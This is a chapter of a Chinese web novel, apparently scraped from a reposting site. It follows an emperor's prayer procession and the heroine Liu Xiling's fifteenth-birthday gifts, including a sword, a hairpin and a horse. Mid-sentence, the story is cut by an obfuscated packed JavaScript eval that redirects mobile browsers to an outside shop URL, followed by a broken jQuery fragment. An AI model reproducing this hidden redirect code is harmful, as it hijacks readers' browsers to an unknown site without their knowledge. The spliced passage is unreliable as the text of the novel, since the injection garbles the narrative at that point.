73. 为谁祈福7
    人们都说,今年可真是个好年头。的确,对皇帝而言,登基二十年来他也少有这样舒坦的时候。

    初登大宝的前半段,他忙着抱老顽固的大腿以自保,翅膀硬了又忙着踹掉老大腿,后来位置一稳便加紧在西南建功,中间碰上了大旱和贪墨案这两门劫数。

    也是苦熬至今才迎来万象更新。扬眉吐气的李炟不禁想,倒霉了十几年,也该轮到我过好日子了吧?于是终借着两大喜事从头舞到了年尾,想着若有朝一日再将南疆收归版图之下,那么彪炳史册指日可待了,等他登极之后谥号怕是都要好听不少。

    腊月十五,黄道吉日,帝率皇子众臣及嫔妃前往西渡寺祈福。一行人浩浩荡荡出了皇城,彩旗飞扬,礼乐随行,一路焚香颂唱至南京,又渡汴河,祭名器,君民同乐。

    除了中途下了点雨,有个醉汉闹事耽搁了些时候,一切可谓是顺利极了。

    说来也有趣。那烂脸大汉也不知是从哪儿冒出来的,先是在人堆里推推嚷嚷发酒疯,又冲散了祈福的后半截队伍,人群险险一乱,禁军当即将队伍切成前后两段以保御驾不惊。等皇城司的骑兵清了场,一回头,那身上挂满彩带的酒蒙子早已昏死了过去,只得火速将其拖走了事。

    一点小事不足挂齿,御驾终是圆满归京。

    这便是君臣同乐皆大欢喜的延嘉十三年。

    而连轴忙了几个月的唐家官人却终是累病了。也是,谁家好人被按着这么使能不垮?

    何况今年冬日来得早去得晚,这一波东行归来,朝堂上许多大臣都病了,譬如曹国公,譬如姚太傅,一个有旧伤,一个奔八十,又碰上这样的冷冬,缠绵病榻却也是在所难免。

    唐家官人操心操过了头,这一病,便病到了正月里。

    ——分割线(晋江原创)——

    正月十五是个好日子。既是节日,也是刘溪鸰的生辰。

    她的十五岁颇有些特殊。若是在家中,怕是要敬神佛跪祖先,焚香沐浴好几天,再请长辈观礼簪头云云。

    但如今情况不同,唐府称得上长者的也就唐祁和陈维宁俩人,所以早先唐祁问话时,刘溪鸰便识趣地说大人身子不好,我的生辰不是什么大事,从简就好。

    下午,舒放自南边赶了回来。

    “大人呢?”

    “屋里躺着呢。”刘溪鸰一面压腿一面道,“不是说南边没什么太阳?不是说营里伙食不好?”打眼一瞧,这人怎么还黑胖了一圈。

    “咦?还没好!”他道。

    “怎这时候回来了?你才去了几天!”自去年十一月随尉迟将军去南疆后,这小子已是许久不露面了,但军营应当是有规矩的,哪能说回就回?

    “十五,跟我们头儿告了假,回来歇歇!”说着从马上卸下俩匣子,“不然你这寿星公可怎么办?瞧瞧我给你带了什么!”他笑嘻嘻道。

    一打开,里头便是叮铃咣铛乱七八糟的一堆暗器首饰什么的,大多是银器,没一个她认得的。“嗯……这些都是给我的?”怎么瞧着跟小孩的东西一样。

    “那当然!我可是攒了好久才攒了这么一盒子!”于是舒大队长开始挨个介绍:

    “……你看嗷,这个腕中莲,这么一戴,反扣上,然后平日里用巾子剪个口儿把这个圆盘露出来,其他地方裹着,又好看又帅气!危险的时候,你这么着一反手,”说着比划了一个说不上来的西域舞蹈招式,“再趁人不备,假装抠痒什么的,左手三个指头一按它就会弹出针来了!”

    刘溪鸰皱了皱眉:“我……带这么个东西,银灿灿的,然后用的时候,还要这么着跳一段儿?”说着学了他的姿势,“还得两只手,才能把它弄出来?”

    “是啊,当然你若是将将好身边有一个插了筷子的篓子,你这么往上一掇,用点力也能出来。”

    “……敌人在我头顶是吗?”

    “……那你就两个手!”

    “唔……就眼睁睁的看着我丢掉剑,然后两个手东抠西抠?”

    “啧,你要不要吧!不要拉倒!”舒放生了气。

    刘溪鸰:“要要要……”说着又看向另外一只长形盒子,“这个是?”

    舒放得意一笑,打开那盒子拿出一把细长的软剑:“这可是真宝贝!试试看喜不喜欢?!”说着眼巴巴儿瞧着。

    只见那软剑通体炭黑,仅在剑鞘口和剑柄上嵌了一层银,上刻“断水”二字。“这可是我专门托人给你打的哦!这里头可有南疆的宝贝,比天丝还软,但百折不挠!”

    她如今使的软剑是铁做的,有些头轻脚重,且比较脆,而她功力不足,有时候难以劈开阻碍之物。

    而这一把轻了些许,却又轻得恰到好处,用起来更加乘手。只见她唰唰一挥,划出一道流畅的弧扇,地上的枯草便断了一片。

    刘溪鸰拿在手中比划了比划,一笑,“算你够意思。喜欢!破费了!”

    “怎么样,你这十五过得好吧!我十五都没人送我东西,哼!”

    刘溪鸰笑道:“谁叫你不是大姑娘!等你二十戴冠子,我保管送你个好的!”

    舒放一听便开始比划:“你说的?呐,我要厉害的大砍刀,铜的,比现在这个重!”

    刘溪鸰道:“二十再说二十的话,这还早呢!兴许到时候你想说个媳妇什么的,想要别的呢!”

    “哟,是了。”舒放挤兑起她来,“你这满了十五,就可以嫁人生娃娃咯!我送剑是不是不大好……还是你想叫我给你捎个如意郎君?”话未说完,刘溪鸰抬手便是一剑。

    她骂道:“要嫁你自己嫁去!也不晓得是哪个,说个梦话都自称老娘!”

    舒放一跃而起:“嚯!你好意思说我?不晓得谁这么倒霉娶了你打也打不过,骂也骂不得,简直是个母老虎!”只见断水轻弹,他的袍带咻的一下被挑断了。

    舒放“嘿”了一声,将计就计一个旋身将那袄子扯了开来,呲拉露出了精壮的上半身,小麦色的皮肤上几道显眼的疤痕煞是显眼:“哎,你脱我衣裳干什么!女流氓!”

    刘溪鸰笑骂:“快穿好,少诬陷人。谁稀的脱你衣裳!”见他不脱,反倒越来越欢实,抬剑又刺了去。

    舒放接二连三几个翻身:“我送你剑,你倒这样报答我!”说着足尖一点,往后躲去。

    二人好久不过招,刘溪鸰玩心大起,便步步紧追了去。“怎么,技不如人开始上眼药了?”

    “你别得意!搞偷袭就不是什么君子之道!”舒放说罢腾空上了房梁。

    “我是女子是小人,舒队长多担待!你站这么高,可就要被我看光了!”

    舒放连忙看了眼下头,捂住衣襟,“啧啧,简直不知羞耻,你别忘了,打今儿起,你已经及笄了!”

    “又如何?”

    “不如何,你收了我的礼,破了我的衣裳,看了我的身子,还能如何?”接着往下一跳,带着她一起滚到了草丛里,“那便是要对我负责的!哈哈!”

    刘溪鸰如今剑法精益不少,但论招式他二人尚有些差距,论力气她这个女子也逊色不少,所以舒放扑将而来时,二人还是不可避免滚作一团。

    “想得美!”二人不管不顾厮打起来。

    闹了好一阵,一个清冷的女声响起:“你方才若是先从肋下攻他,便不会输。”陈维宁在一旁悠然道,唇角难得带了一丝暖意。

    “还是陈师傅教得好!”舒放一笑,拉了刘溪鸰起来,“你这几个月不见长进不少!”

    “都十五了,该有长进了!

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368299|137641||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”陈维宁拿出个小盒,“喏,你的。”

    刘溪鸰一瞧眼皮便是一跳。“这……是师傅给我的?”里面是支乌木雕流云的钗,下头坠着一朵葵花。

    陈维宁笑道:“我送你的是身新衣裳,还在铺子里呢,一会儿送来。这簪子大人给你选的,命我今夜给你簪上,你先看看。”

    “是嘞,长辈笄之!”舒放恍然。

    可寿星面上却闪过一丝复杂,“哦,是吗?”

    陈维宁对二人交待道,“等你们逛完灯会回来吧,我估摸着时候也差不多,别太晚了,大人也要休息。”

    “晓得!今儿咱听长辈的!”舒放一笑,又道,“这长辈是以师傅之名?还是别的什么?”

    这话管它有意无意,说得陈女侠终是面色一红:“胡说什么呢!”

    舒放没脸没皮,笑得更欢实:“哎说实话,咱们心里都巴望着改日好讨杯酒吃!阿鸰你说是不是!”说着撞了撞刘溪鸰。

    “是是是……你快挨揍了我看你。师傅别理他!”

    刘溪鸰这一笑,陈维宁瞧来更像揶揄,师傅的面子便是丢了一丢,冷哼一声便去了书房。

    房中唐祁已看了好一会儿书。“是阿放回来了?这么闹腾。”

    陈维宁端了妥帖的笑,换上一盏新茶。一面道:“是啊,特特儿为了那丫头的生辰。”说着眼睛一瞥外头,又笑道:“叫我说,他俩倒是个投缘的!”

    “哦?”翻页的手停了停。

    陈维宁便把二人脱衣追打一事学了一遍,又道:“我原先也瞧出阿放有这个意思!他两个年纪相仿,一块吃一块玩一块闯祸,到底还是亲些的!”

    “阿放啊,满脑子都是些玩玩打打的,到底还是没长大。”唐祁笑道。

    “这回我瞧着不像呢!不然为何要说‘看了我的……”话到口边倒不好学了,于是又一笑。

    唐祁瞥了她一眼,“怎么,你这么上心,是要去喝他们的茶不成?”

    ——分割线(晋江原创)——

    下午,唐府后院来了匹浅棕的马儿。

    肚皮上有些许毛色略深,额前有三缕黑色卷毛,长长的睫毛下有一块白色的斑块,像是一颗眼泪。马身在午阳的照耀下泛着一层淡淡的光泽,马尾一甩一甩,它闲适快地吃着少女手中的草叶。

    “当马儿也挺好,什么也不想。”

    何衍问:“喜欢吗?”其实也不用问,瞧她那移不开的眼珠子便晓得了。

    摸了许久马毛的刘溪鸰却狐疑道:“你这花了不老少钱啊?这毛色这蹄子这膘这……大马!这得多少钱?”

    何衍一阵心虚,“……那不是,你跟青青比较好嘛,又是及笄。”

    刘溪鸰想了想:“也是,我若是真做媒,你还得给我不少银钱呢!”

    “那可不,这可是从我老婆本里拿出来的!”何衍振振有词。

    这一说,她便得意了起来:“呵,有我在,你可就放心吧,我跟青青说了多少你的好话?你记不记得上回你约她逛湖结果大人叫你干个啥你给干忘了,然后把她撂湖边喂了一下午蚊子?若不是我,你俩早掰了!”

    “是是是。”

    “嘶,还有那一回,那回是叫你干啥来着……”

    “知道了,我这银子花得值,行了吧!”

    “哎呀,我的好大哥面皮薄,费心啦!”刘溪鸰笑道,又问,“它有名字么?”

    何衍:“飞涧。你叫它,它应该听得懂。”

    刘溪鸰试了试:“……飞涧?”

    马儿喷了个响鼻继续吃草。

    ……

    “多叫两次咯!反正我叫它也不答应。”何衍摊手,“你们玩,我先走了!晚上去灯会啊!”任务完成,赶紧溜之大吉。